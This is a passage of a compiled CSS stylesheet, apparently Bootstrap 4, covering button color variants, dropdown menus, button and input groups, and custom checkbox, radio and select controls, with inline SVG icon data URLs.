.btn-success:not(:disabled):not(.disabled).active:focus,\n.show > .btn-success.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.5);\n}\n\n.btn-info {\n  color: #fff;\n  background-color: #17a2b8;\n  border-color: #17a2b8;\n}\n\n.btn-info:hover {\n  color: #fff;\n  background-color: #138496;\n  border-color: #117a8b;\n}\n\n.btn-info:focus, .btn-info.focus {\n  box-shadow: 0 0 0 0.2rem rgba(23, 162, 184, 0.5);\n}\n\n.btn-info.disabled, .btn-info:disabled {\n  color: #fff;\n  background-color: #17a2b8;\n  border-color: #17a2b8;\n}\n\n.btn-info:not(:disabled):not(.disabled):active, .btn-info:not(:disabled):not(.disabled).active,\n.show > .btn-info.dropdown-toggle {\n  color: #fff;\n  background-color: #117a8b;\n  border-color: #10707f;\n}\n\n.btn-info:not(:disabled):not(.disabled):active:focus, .btn-info:not(:disabled):not(.disabled).active:focus,\n.show > .btn-info.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(23, 162, 184, 0.5);\n}\n\n.btn-warning {\n  color: #212529;\n  background-color: #ffc107;\n  border-color: #ffc107;\n}\n\n.btn-warning:hover {\n  color: #212529;\n  background-color: #e0a800;\n  border-color: #d39e00;\n}\n\n.btn-warning:focus, .btn-warning.focus {\n  box-shadow: 0 0 0 0.2rem rgba(255, 193, 7, 0.5);\n}\n\n.btn-warning.disabled, .btn-warning:disabled {\n  color: #212529;\n  background-color: #ffc107;\n  border-color: #ffc107;\n}\n\n.btn-warning:not(:disabled):not(.disabled):active, .btn-warning:not(:disabled):not(.disabled).active,\n.show > .btn-warning.dropdown-toggle {\n  color: #212529;\n  background-color: #d39e00;\n  border-color: #c69500;\n}\n\n.btn-warning:not(:disabled):not(.disabled):active:focus, .btn-warning:not(:disabled):not(.disabled).active:focus,\n.show > .btn-warning.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(255, 193, 7, 0.5);\n}\n\n.btn-danger {\n  color: #fff;\n  background-color: #dc3545;\n  border-color: #dc3545;\n}\n\n.btn-danger:hover {\n  color: #fff;\n  background-color: #c82333;\n  border-color: #bd2130;\n}\n\n.btn-danger:focus, .btn-danger.focus {\n  box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.5);\n}\n\n.btn-danger.disabled, .btn-danger:disabled {\n  color: #fff;\n  background-color: #dc3545;\n  border-color: #dc3545;\n}\n\n.btn-danger:not(:disabled):not(.disabled):active, .btn-danger:not(:disabled):not(.disabled).active,\n.show > .btn-danger.dropdown-toggle {\n  color: #fff;\n  background-color: #bd2130;\n  border-color: #b21f2d;\n}\n\n.btn-danger:not(:disabled):not(.disabled):active:focus, .btn-danger:not(:disabled):not(.disabled).active:focus,\n.show > .btn-danger.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.5);\n}\n\n.btn-light {\n  color: #212529;\n  background-color: #f8f9fa;\n  border-color: #f8f9fa;\n}\n\n.btn-light:hover {\n  color: #212529;\n  background-color: #e2e6ea;\n  border-color: #dae0e5;\n}\n\n.btn-light:focus, .btn-light.focus {\n  box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 0.5);\n}\n\n.btn-light.disabled, .btn-light:disabled {\n  color: #212529;\n  background-color: #f8f9fa;\n  border-color: #f8f9fa;\n}\n\n.btn-light:not(:disabled):not(.disabled):active, .btn-light:not(:disabled):not(.disabled).active,\n.show > .btn-light.dropdown-toggle {\n  color: #212529;\n  background-color: #dae0e5;\n  border-color: #d3d9df;\n}\n\n.btn-light:not(:disabled):not(.disabled):active:focus, .btn-light:not(:disabled):not(.disabled).active:focus,\n.show > .btn-light.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 0.5);\n}\n\n.btn-dark {\n  color: #fff;\n  background-color: #343a40;\n  border-color: #343a40;\n}\n\n.btn-dark:hover {\n  color: #fff;\n  background-color: #23272b;\n  border-color: #1d2124;\n}\n\n.btn-dark:focus, .btn-dark.focus {\n  box-shadow: 0 0 0 0.2rem rgba(52, 58, 64, 0.5);\n}\n\n.btn-dark.disabled, .btn-dark:disabled {\n  color: #fff;\n  background-color: #343a40;\n  border-color: #343a40;\n}\n\n.btn-dark:not(:disabled):not(.disabled):active, .btn-dark:not(:disabled):not(.disabled).active,\n.show > .btn-dark.dropdown-toggle {\n  color: #fff;\n  background-color: #1d2124;\n  border-color: #171a1d;\n}\n\n.btn-dark:not(:disabled):not(.disabled):active:focus, .btn-dark:not(:disabled):not(.disabled).active:focus,\n.show > .btn-dark.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(52, 58, 64, 0.5);\n}\n\n.btn-outline-primary {\n  color: #007bff;\n  background-color: transparent;\n  background-image: none;\n  border-color: #007bff;\n}\n\n.btn-outline-primary:hover {\n  color: #fff;\n  background-color: #007bff;\n  border-color: #007bff;\n}\n\n.btn-outline-primary:focus, .btn-outline-primary.focus {\n  box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.5);\n}\n\n.btn-outline-primary.disabled, .btn-outline-primary:disabled {\n  color: #007bff;\n  background-color: transparent;\n}\n\n.btn-outline-primary:not(:disabled):not(.disabled):active, .btn-outline-primary:not(:disabled):not(.disabled).active,\n.show > .btn-outline-primary.dropdown-toggle {\n  color: #fff;\n  background-color: #007bff;\n  border-color: #007bff;\n}\n\n.btn-outline-primary:not(:disabled):not(.disabled):active:focus, .btn-outline-primary:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-primary.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.5);\n}\n\n.btn-outline-secondary {\n  color: #6c757d;\n  background-color: transparent;\n  background-image: none;\n  border-color: #6c757d;\n}\n\n.btn-outline-secondary:hover {\n  color: #fff;\n  background-color: #6c757d;\n  border-color: #6c757d;\n}\n\n.btn-outline-secondary:focus, .btn-outline-secondary.focus {\n  box-shadow: 0 0 0 0.2rem rgba(108, 117, 125, 0.5);\n}\n\n.btn-outline-secondary.disabled, .btn-outline-secondary:disabled {\n  color: #6c757d;\n  background-color: transparent;\n}\n\n.btn-outline-secondary:not(:disabled):not(.disabled):active, .btn-outline-secondary:not(:disabled):not(.disabled).active,\n.show > .btn-outline-secondary.dropdown-toggle {\n  color: #fff;\n  background-color: #6c757d;\n  border-color: #6c757d;\n}\n\n.btn-outline-secondary:not(:disabled):not(.disabled):active:focus, .btn-outline-secondary:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-secondary.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(108, 117, 125, 0.5);\n}\n\n.btn-outline-success {\n  color: #28a745;\n  background-color: transparent;\n  background-image: none;\n  border-color: #28a745;\n}\n\n.btn-outline-success:hover {\n  color: #fff;\n  background-color: #28a745;\n  border-color: #28a745;\n}\n\n.btn-outline-success:focus, .btn-outline-success.focus {\n  box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.5);\n}\n\n.btn-outline-success.disabled, .btn-outline-success:disabled {\n  color: #28a745;\n  background-color: transparent;\n}\n\n.btn-outline-success:not(:disabled):not(.disabled):active, .btn-outline-success:not(:disabled):not(.disabled).active,\n.show > .btn-outline-success.dropdown-toggle {\n  color: #fff;\n  background-color: #28a745;\n  border-color: #28a745;\n}\n\n.btn-outline-success:not(:disabled):not(.disabled):active:focus, .btn-outline-success:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-success.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.5);\n}\n\n.btn-outline-info {\n  color: #17a2b8;\n  background-color: transparent;\n  background-image: none;\n  border-color: #17a2b8;\n}\n\n.btn-outline-info:hover {\n  color: #fff;\n  background-color: #17a2b8;\n  border-color: #17a2b8;\n}\n\n.btn-outline-info:focus, .btn-outline-info.focus {\n  box-shadow: 0 0 0 0.2rem rgba(23, 162, 184, 0.5);\n}\n\n.btn-outline-info.disabled, .btn-outline-info:disabled {\n  color: #17a2b8;\n  background-color: transparent;\n}\n\n.btn-outline-info:not(:disabled):not(.disabled):active, .btn-outline-info:not(:disabled):not(.disabled).active,\n.show > .btn-outline-info.dropdown-toggle {\n  color: #fff;\n  background-color: #17a2b8;\n  border-color: #17a2b8;\n}\n\n.btn-outline-info:not(:disabled):not(.disabled):active:focus, .btn-outline-info:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-info.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(23, 162, 184, 0.5);\n}\n\n.btn-outline-warning {\n  color: #ffc107;\n  background-color: transparent;\n  background-image: none;\n  border-color: #ffc107;\n}\n\n.btn-outline-warning:hover {\n  color: #212529;\n  background-color: #ffc107;\n  border-color: #ffc107;\n}\n\n.btn-outline-warning:focus, .btn-outline-warning.focus {\n  box-shadow: 0 0 0 0.2rem rgba(255, 193, 7, 0.5);\n}\n\n.btn-outline-warning.disabled, .btn-outline-warning:disabled {\n  color: #ffc107;\n  background-color: transparent;\n}\n\n.btn-outline-warning:not(:disabled):not(.disabled):active, .btn-outline-warning:not(:disabled):not(.disabled).active,\n.show > .btn-outline-warning.dropdown-toggle {\n  color: #212529;\n  background-color: #ffc107;\n  border-color: #ffc107;\n}\n\n.btn-outline-warning:not(:disabled):not(.disabled):active:focus, .btn-outline-warning:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-warning.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(255, 193, 7, 0.5);\n}\n\n.btn-outline-danger {\n  color: #dc3545;\n  background-color: transparent;\n  background-image: none;\n  border-color: #dc3545;\n}\n\n.btn-outline-danger:hover {\n  color: #fff;\n  background-color: #dc3545;\n  border-color: #dc3545;\n}\n\n.btn-outline-danger:focus, .btn-outline-danger.focus {\n  box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.5);\n}\n\n.btn-outline-danger.disabled, .btn-outline-danger:disabled {\n  color: #dc3545;\n  background-color: transparent;\n}\n\n.btn-outline-danger:not(:disabled):not(.disabled):active, .btn-outline-danger:not(:disabled):not(.disabled).active,\n.show > .btn-outline-danger.dropdown-toggle {\n  color: #fff;\n  background-color: #dc3545;\n  border-color: #dc3545;\n}\n\n.btn-outline-danger:not(:disabled):not(.disabled):active:focus, .btn-outline-danger:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-danger.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.5);\n}\n\n.btn-outline-light {\n  color: #f8f9fa;\n  background-color: transparent;\n  background-image: none;\n  border-color: #f8f9fa;\n}\n\n.btn-outline-light:hover {\n  color: #212529;\n  background-color: #f8f9fa;\n  border-color: #f8f9fa;\n}\n\n.btn-outline-light:focus, .btn-outline-light.focus {\n  box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 0.5);\n}\n\n.btn-outline-light.disabled, .btn-outline-light:disabled {\n  color: #f8f9fa;\n  background-color: transparent;\n}\n\n.btn-outline-light:not(:disabled):not(.disabled):active, .btn-outline-light:not(:disabled):not(.disabled).active,\n.show > .btn-outline-light.dropdown-toggle {\n  color: #212529;\n  background-color: #f8f9fa;\n  border-color: #f8f9fa;\n}\n\n.btn-outline-light:not(:disabled):not(.disabled):active:focus, .btn-outline-light:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-light.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 0.5);\n}\n\n.btn-outline-dark {\n  color: #343a40;\n  background-color: transparent;\n  background-image: none;\n  border-color: #343a40;\n}\n\n.btn-outline-dark:hover {\n  color: #fff;\n  background-color: #343a40;\n  border-color: #343a40;\n}\n\n.btn-outline-dark:focus, .btn-outline-dark.focus {\n  box-shadow: 0 0 0 0.2rem rgba(52, 58, 64, 0.5);\n}\n\n.btn-outline-dark.disabled, .btn-outline-dark:disabled {\n  color: #343a40;\n  background-color: transparent;\n}\n\n.btn-outline-dark:not(:disabled):not(.disabled):active, .btn-outline-dark:not(:disabled):not(.disabled).active,\n.show > .btn-outline-dark.dropdown-toggle {\n  color: #fff;\n  background-color: #343a40;\n  border-color: #343a40;\n}\n\n.btn-outline-dark:not(:disabled):not(.disabled):active:focus, .btn-outline-dark:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-dark.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(52, 58, 64, 0.5);\n}\n\n.btn-link {\n  font-weight: 400;\n  color: #007bff;\n  background-color: transparent;\n}\n\n.btn-link:hover {\n  color: #0056b3;\n  text-decoration: underline;\n  background-color: transparent;\n  border-color: transparent;\n}\n\n.btn-link:focus, .btn-link.focus {\n  text-decoration: underline;\n  border-color: transparent;\n  box-shadow: none;\n}\n\n.btn-link:disabled, .btn-link.disabled {\n  color: #6c757d;\n  pointer-events: none;\n}\n\n.btn-lg, .btn-group-lg > .btn {\n  padding: 0.5rem 1rem;\n  font-size: 1.25rem;\n  line-height: 1.5;\n  border-radius: 0.3rem;\n}\n\n.btn-sm, .btn-group-sm > .btn {\n  padding: 0.25rem 0.5rem;\n  font-size: 0.875rem;\n  line-height: 1.5;\n  border-radius: 0.2rem;\n}\n\n.btn-block {\n  display: block;\n  width: 100%;\n}\n\n.btn-block + .btn-block {\n  margin-top: 0.5rem;\n}\n\ninput[type=\"submit\"].btn-block,\ninput[type=\"reset\"].btn-block,\ninput[type=\"button\"].btn-block {\n  width: 100%;\n}\n\n.fade {\n  transition: opacity 0.15s linear;\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n  .fade {\n    transition: none;\n  }\n}\n\n.fade:not(.show) {\n  opacity: 0;\n}\n\n.collapse:not(.show) {\n  display: none;\n}\n\n.collapsing {\n  position: relative;\n  height: 0;\n  overflow: hidden;\n  transition: height 0.35s ease;\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n  .collapsing {\n    transition: none;\n  }\n}\n\n.dropup,\n.dropright,\n.dropdown,\n.dropleft {\n  position: relative;\n}\n\n.dropdown-toggle::after {\n  display: inline-block;\n  width: 0;\n  height: 0;\n  margin-left: 0.255em;\n  vertical-align: 0.255em;\n  content: \"\";\n  border-top: 0.3em solid;\n  border-right: 0.3em solid transparent;\n  border-bottom: 0;\n  border-left: 0.3em solid transparent;\n}\n\n.dropdown-toggle:empty::after {\n  margin-left: 0;\n}\n\n.dropdown-menu {\n  position: absolute;\n  top: 100%;\n  left: 0;\n  z-index: 1000;\n  display: none;\n  float: left;\n  min-width: 10rem;\n  padding: 0.5rem 0;\n  margin: 0.125rem 0 0;\n  font-size: 1rem;\n  color: #212529;\n  text-align: left;\n  list-style: none;\n  background-color: #fff;\n  background-clip: padding-box;\n  border: 1px solid rgba(0, 0, 0, 0.15);\n  border-radius: 0.25rem;\n}\n\n.dropdown-menu-right {\n  right: 0;\n  left: auto;\n}\n\n.dropup .dropdown-menu {\n  top: auto;\n  bottom: 100%;\n  margin-top: 0;\n  margin-bottom: 0.125rem;\n}\n\n.dropup .dropdown-toggle::after {\n  display: inline-block;\n  width: 0;\n  height: 0;\n  margin-left: 0.255em;\n  vertical-align: 0.255em;\n  content: \"\";\n  border-top: 0;\n  border-right: 0.3em solid transparent;\n  border-bottom: 0.3em solid;\n  border-left: 0.3em solid transparent;\n}\n\n.dropup .dropdown-toggle:empty::after {\n  margin-left: 0;\n}\n\n.dropright .dropdown-menu {\n  top: 0;\n  right: auto;\n  left: 100%;\n  margin-top: 0;\n  margin-left: 0.125rem;\n}\n\n.dropright .dropdown-toggle::after {\n  display: inline-block;\n  width: 0;\n  height: 0;\n  margin-left: 0.255em;\n  vertical-align: 0.255em;\n  content: \"\";\n  border-top: 0.3em solid transparent;\n  border-right: 0;\n  border-bottom: 0.3em solid transparent;\n  border-left: 0.3em solid;\n}\n\n.dropright .dropdown-toggle:empty::after {\n  margin-left: 0;\n}\n\n.dropright .dropdown-toggle::after {\n  vertical-align: 0;\n}\n\n.dropleft .dropdown-menu {\n  top: 0;\n  right: 100%;\n  left: auto;\n  margin-top: 0;\n  margin-right: 0.125rem;\n}\n\n.dropleft .dropdown-toggle::after {\n  display: inline-block;\n  width: 0;\n  height: 0;\n  margin-left: 0.255em;\n  vertical-align: 0.255em;\n  content: \"\";\n}\n\n.dropleft .dropdown-toggle::after {\n  display: none;\n}\n\n.dropleft .dropdown-toggle::before {\n  display: inline-block;\n  width: 0;\n  height: 0;\n  margin-right: 0.255em;\n  vertical-align: 0.255em;\n  content: \"\";\n  border-top: 0.3em solid transparent;\n  border-right: 0.3em solid;\n  border-bottom: 0.3em solid transparent;\n}\n\n.dropleft .dropdown-toggle:empty::after {\n  margin-left: 0;\n}\n\n.dropleft .dropdown-toggle::before {\n  vertical-align: 0;\n}\n\n.dropdown-menu[x-placement^=\"top\"], .dropdown-menu[x-placement^=\"right\"], .dropdown-menu[x-placement^=\"bottom\"], .dropdown-menu[x-placement^=\"left\"] {\n  right: auto;\n  bottom: auto;\n}\n\n.dropdown-divider {\n  height: 0;\n  margin: 0.5rem 0;\n  overflow: hidden;\n  border-top: 1px solid #e9ecef;\n}\n\n.dropdown-item {\n  display: block;\n  width: 100%;\n  padding: 0.25rem 1.5rem;\n  clear: both;\n  font-weight: 400;\n  color: #212529;\n  text-align: inherit;\n  white-space: nowrap;\n  background-color: transparent;\n  border: 0;\n}\n\n.dropdown-item:hover, .dropdown-item:focus {\n  color: #16181b;\n  text-decoration: none;\n  background-color: #f8f9fa;\n}\n\n.dropdown-item.active, .dropdown-item:active {\n  color: #fff;\n  text-decoration: none;\n  background-color: #007bff;\n}\n\n.dropdown-item.disabled, .dropdown-item:disabled {\n  color: #6c757d;\n  background-color: transparent;\n}\n\n.dropdown-menu.show {\n  display: block;\n}\n\n.dropdown-header {\n  display: block;\n  padding: 0.5rem 1.5rem;\n  margin-bottom: 0;\n  font-size: 0.875rem;\n  color: #6c757d;\n  white-space: nowrap;\n}\n\n.dropdown-item-text {\n  display: block;\n  padding: 0.25rem 1.5rem;\n  color: #212529;\n}\n\n.btn-group,\n.btn-group-vertical {\n  position: relative;\n  display: -ms-inline-flexbox;\n  display: inline-flex;\n  vertical-align: middle;\n}\n\n.btn-group > .btn,\n.btn-group-vertical > .btn {\n  position: relative;\n  -ms-flex: 0 1 auto;\n  flex: 0 1 auto;\n}\n\n.btn-group > .btn:hover,\n.btn-group-vertical > .btn:hover {\n  z-index: 1;\n}\n\n.btn-group > .btn:focus, .btn-group > .btn:active, .btn-group > .btn.active,\n.btn-group-vertical > .btn:focus,\n.btn-group-vertical > .btn:active,\n.btn-group-vertical > .btn.active {\n  z-index: 1;\n}\n\n.btn-group .btn + .btn,\n.btn-group .btn + .btn-group,\n.btn-group .btn-group + .btn,\n.btn-group .btn-group + .btn-group,\n.btn-group-vertical .btn + .btn,\n.btn-group-vertical .btn + .btn-group,\n.btn-group-vertical .btn-group + .btn,\n.btn-group-vertical .btn-group + .btn-group {\n  margin-left: -1px;\n}\n\n.btn-toolbar {\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-wrap: wrap;\n  flex-wrap: wrap;\n  -ms-flex-pack: start;\n  justify-content: flex-start;\n}\n\n.btn-toolbar .input-group {\n  width: auto;\n}\n\n.btn-group > .btn:first-child {\n  margin-left: 0;\n}\n\n.btn-group > .btn:not(:last-child):not(.dropdown-toggle),\n.btn-group > .btn-group:not(:last-child) > .btn {\n  border-top-right-radius: 0;\n  border-bottom-right-radius: 0;\n}\n\n.btn-group > .btn:not(:first-child),\n.btn-group > .btn-group:not(:first-child) > .btn {\n  border-top-left-radius: 0;\n  border-bottom-left-radius: 0;\n}\n\n.dropdown-toggle-split {\n  padding-right: 0.5625rem;\n  padding-left: 0.5625rem;\n}\n\n.dropdown-toggle-split::after,\n.dropup .dropdown-toggle-split::after,\n.dropright .dropdown-toggle-split::after {\n  margin-left: 0;\n}\n\n.dropleft .dropdown-toggle-split::before {\n  margin-right: 0;\n}\n\n.btn-sm + .dropdown-toggle-split, .btn-group-sm > .btn + .dropdown-toggle-split {\n  padding-right: 0.375rem;\n  padding-left: 0.375rem;\n}\n\n.btn-lg + .dropdown-toggle-split, .btn-group-lg > .btn + .dropdown-toggle-split {\n  padding-right: 0.75rem;\n  padding-left: 0.75rem;\n}\n\n.btn-group-vertical {\n  -ms-flex-direction: column;\n  flex-direction: column;\n  -ms-flex-align: start;\n  align-items: flex-start;\n  -ms-flex-pack: center;\n  justify-content: center;\n}\n\n.btn-group-vertical .btn,\n.btn-group-vertical .btn-group {\n  width: 100%;\n}\n\n.btn-group-vertical > .btn + .btn,\n.btn-group-vertical > .btn + .btn-group,\n.btn-group-vertical > .btn-group + .btn,\n.btn-group-vertical > .btn-group + .btn-group {\n  margin-top: -1px;\n  margin-left: 0;\n}\n\n.btn-group-vertical > .btn:not(:last-child):not(.dropdown-toggle),\n.btn-group-vertical > .btn-group:not(:last-child) > .btn {\n  border-bottom-right-radius: 0;\n  border-bottom-left-radius: 0;\n}\n\n.btn-group-vertical > .btn:not(:first-child),\n.btn-group-vertical > .btn-group:not(:first-child) > .btn {\n  border-top-left-radius: 0;\n  border-top-right-radius: 0;\n}\n\n.btn-group-toggle > .btn,\n.btn-group-toggle > .btn-group > .btn {\n  margin-bottom: 0;\n}\n\n.btn-group-toggle > .btn input[type=\"radio\"],\n.btn-group-toggle > .btn input[type=\"checkbox\"],\n.btn-group-toggle > .btn-group > .btn input[type=\"radio\"],\n.btn-group-toggle > .btn-group > .btn input[type=\"checkbox\"] {\n  position: absolute;\n  clip: rect(0, 0, 0, 0);\n  pointer-events: none;\n}\n\n.input-group {\n  position: relative;\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-wrap: wrap;\n  flex-wrap: wrap;\n  -ms-flex-align: stretch;\n  align-items: stretch;\n  width: 100%;\n}\n\n.input-group > .form-control,\n.input-group > .custom-select,\n.input-group > .custom-file {\n  position: relative;\n  -ms-flex: 1 1 auto;\n  flex: 1 1 auto;\n  width: 1%;\n  margin-bottom: 0;\n}\n\n.input-group > .form-control:focus,\n.input-group > .custom-select:focus,\n.input-group > .custom-file:focus {\n  z-index: 3;\n}\n\n.input-group > .form-control + .form-control,\n.input-group > .form-control + .custom-select,\n.input-group > .form-control + .custom-file,\n.input-group > .custom-select + .form-control,\n.input-group > .custom-select + .custom-select,\n.input-group > .custom-select + .custom-file,\n.input-group > .custom-file + .form-control,\n.input-group > .custom-file + .custom-select,\n.input-group > .custom-file + .custom-file {\n  margin-left: -1px;\n}\n\n.input-group > .form-control:not(:last-child),\n.input-group > .custom-select:not(:last-child) {\n  border-top-right-radius: 0;\n  border-bottom-right-radius: 0;\n}\n\n.input-group > .form-control:not(:first-child),\n.input-group > .custom-select:not(:first-child) {\n  border-top-left-radius: 0;\n  border-bottom-left-radius: 0;\n}\n\n.input-group > .custom-file {\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-align: center;\n  align-items: center;\n}\n\n.input-group > .custom-file:not(:last-child) .custom-file-label,\n.input-group > .custom-file:not(:last-child) .custom-file-label::after {\n  border-top-right-radius: 0;\n  border-bottom-right-radius: 0;\n}\n\n.input-group > .custom-file:not(:first-child) .custom-file-label,\n.input-group > .custom-file:not(:first-child) .custom-file-label::after {\n  border-top-left-radius: 0;\n  border-bottom-left-radius: 0;\n}\n\n.input-group-prepend,\n.input-group-append {\n  display: -ms-flexbox;\n  display: flex;\n}\n\n.input-group-prepend .btn,\n.input-group-append .btn {\n  position: relative;\n  z-index: 2;\n}\n\n.input-group-prepend .btn + .btn,\n.input-group-prepend .btn + .input-group-text,\n.input-group-prepend .input-group-text + .input-group-text,\n.input-group-prepend .input-group-text + .btn,\n.input-group-append .btn + .btn,\n.input-group-append .btn + .input-group-text,\n.input-group-append .input-group-text + .input-group-text,\n.input-group-append .input-group-text + .btn {\n  margin-left: -1px;\n}\n\n.input-group-prepend {\n  margin-right: -1px;\n}\n\n.input-group-append {\n  margin-left: -1px;\n}\n\n.input-group-text {\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-align: center;\n  align-items: center;\n  padding: 0.375rem 0.75rem;\n  margin-bottom: 0;\n  font-size: 1rem;\n  font-weight: 400;\n  line-height: 1.5;\n  color: #495057;\n  text-align: center;\n  white-space: nowrap;\n  background-color: #e9ecef;\n  border: 1px solid #ced4da;\n  border-radius: 0.25rem;\n}\n\n.input-group-text input[type=\"radio\"],\n.input-group-text input[type=\"checkbox\"] {\n  margin-top: 0;\n}\n\n.input-group > .input-group-prepend > .btn,\n.input-group > .input-group-prepend > .input-group-text,\n.input-group > .input-group-append:not(:last-child) > .btn,\n.input-group > .input-group-append:not(:last-child) > .input-group-text,\n.input-group > .input-group-append:last-child > .btn:not(:last-child):not(.dropdown-toggle),\n.input-group > .input-group-append:last-child > .input-group-text:not(:last-child) {\n  border-top-right-radius: 0;\n  border-bottom-right-radius: 0;\n}\n\n.input-group > .input-group-append > .btn,\n.input-group > .input-group-append > .input-group-text,\n.input-group > .input-group-prepend:not(:first-child) > .btn,\n.input-group > .input-group-prepend:not(:first-child) > .input-group-text,\n.input-group > .input-group-prepend:first-child > .btn:not(:first-child),\n.input-group > .input-group-prepend:first-child > .input-group-text:not(:first-child) {\n  border-top-left-radius: 0;\n  border-bottom-left-radius: 0;\n}\n\n.custom-control {\n  position: relative;\n  display: block;\n  min-height: 1.5rem;\n  padding-left: 1.5rem;\n}\n\n.custom-control-inline {\n  display: -ms-inline-flexbox;\n  display: inline-flex;\n  margin-right: 1rem;\n}\n\n.custom-control-input {\n  position: absolute;\n  z-index: -1;\n  opacity: 0;\n}\n\n.custom-control-input:checked ~ .custom-control-label::before {\n  color: #fff;\n  background-color: #007bff;\n}\n\n.custom-control-input:focus ~ .custom-control-label::before {\n  box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.custom-control-input:active ~ .custom-control-label::before {\n  color: #fff;\n  background-color: #b3d7ff;\n}\n\n.custom-control-input:disabled ~ .custom-control-label {\n  color: #6c757d;\n}\n\n.custom-control-input:disabled ~ .custom-control-label::before {\n  background-color: #e9ecef;\n}\n\n.custom-control-label {\n  margin-bottom: 0;\n}\n\n.custom-control-label::before {\n  position: absolute;\n  top: 0.25rem;\n  left: 0;\n  display: block;\n  width: 1rem;\n  height: 1rem;\n  pointer-events: none;\n  content: \"\";\n  -webkit-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  user-select: none;\n  background-color: #dee2e6;\n}\n\n.custom-control-label::after {\n  position: absolute;\n  top: 0.25rem;\n  left: 0;\n  display: block;\n  width: 1rem;\n  height: 1rem;\n  content: \"\";\n  background-repeat: no-repeat;\n  background-position: center center;\n  background-size: 50% 50%;\n}\n\n.custom-checkbox .custom-control-label::before {\n  border-radius: 0.25rem;\n}\n\n.custom-checkbox .custom-control-input:checked ~ .custom-control-label::before {\n  background-color: #007bff;\n}\n\n.custom-checkbox .custom-control-input:checked ~ .custom-control-label::after {\n  background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3E%3Cpath fill='%23fff' d='M6.564.75l-3.59 3.612-1.538-1.55L0 4.26 2.974 7.25 8 2.193z'/%3E%3C/svg%3E\");\n}\n\n.custom-checkbox .custom-control-input:indeterminate ~ .custom-control-label::before {\n  background-color: #007bff;\n}\n\n.custom-checkbox .custom-control-input:indeterminate ~ .custom-control-label::after {\n  background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 4'%3E%3Cpath stroke='%23fff' d='M0 2h4'/%3E%3C/svg%3E\");\n}\n\n.custom-checkbox .custom-control-input:disabled:checked ~ .custom-control-label::before {\n  background-color: rgba(0, 123, 255, 0.5);\n}\n\n.custom-checkbox .custom-control-input:disabled:indeterminate ~ .custom-control-label::before {\n  background-color: rgba(0, 123, 255, 0.5);\n}\n\n.custom-radio .custom-control-label::before {\n  border-radius: 50%;\n}\n\n.custom-radio .custom-control-input:checked ~ .custom-control-label::before {\n  background-color: #007bff;\n}\n\n.custom-radio .custom-control-input:checked ~ .custom-control-label::after {\n  background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3E%3Ccircle r='3' fill='%23fff'/%3E%3C/svg%3E\");\n}\n\n.custom-radio .custom-control-input:disabled:checked ~ .custom-control-label::before {\n  background-color: rgba(0, 123, 255, 0.5);\n}\n\n.custom-select {\n  display: inline-block;\n  width: 100%;\n  height: calc(2.25rem + 2px);\n  padding: 0.375rem 1.75rem 0.375rem 0.75rem;\n  line-height: 1.5;\n  color: #495057;\n  vertical-align: middle;\n  background: #fff url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3E%3Cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3E%3C/svg%3E\") no-repeat right 0.75rem center;\n  background-size: 8px 10px;\n  border: 1px solid #ced4da;\n  border-radius: 0.25rem;\n  -webkit-appearance: none;\n  -moz-appearance: none;\n  appearance: none;\n}\n\n.custom-select:focus {\n  border-color: #80bdff;\n  outline: 0;\n  box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.075), 0 0 5px rgba(128, 189, 255, 0.5);\n}\n\n.custom-select:focus::-ms-value {\n  color: #495057;\n  background-color: #fff;\n}\n\n.custom-select[multiple], .custom-select[size]:not([size=\"1\"]) {\n  height: auto;\n  padding-right: 0.75rem;\n  background-image: none;\n}\n\n.custom-select:disabled {\n  color: #6c757d;\n  background-color: 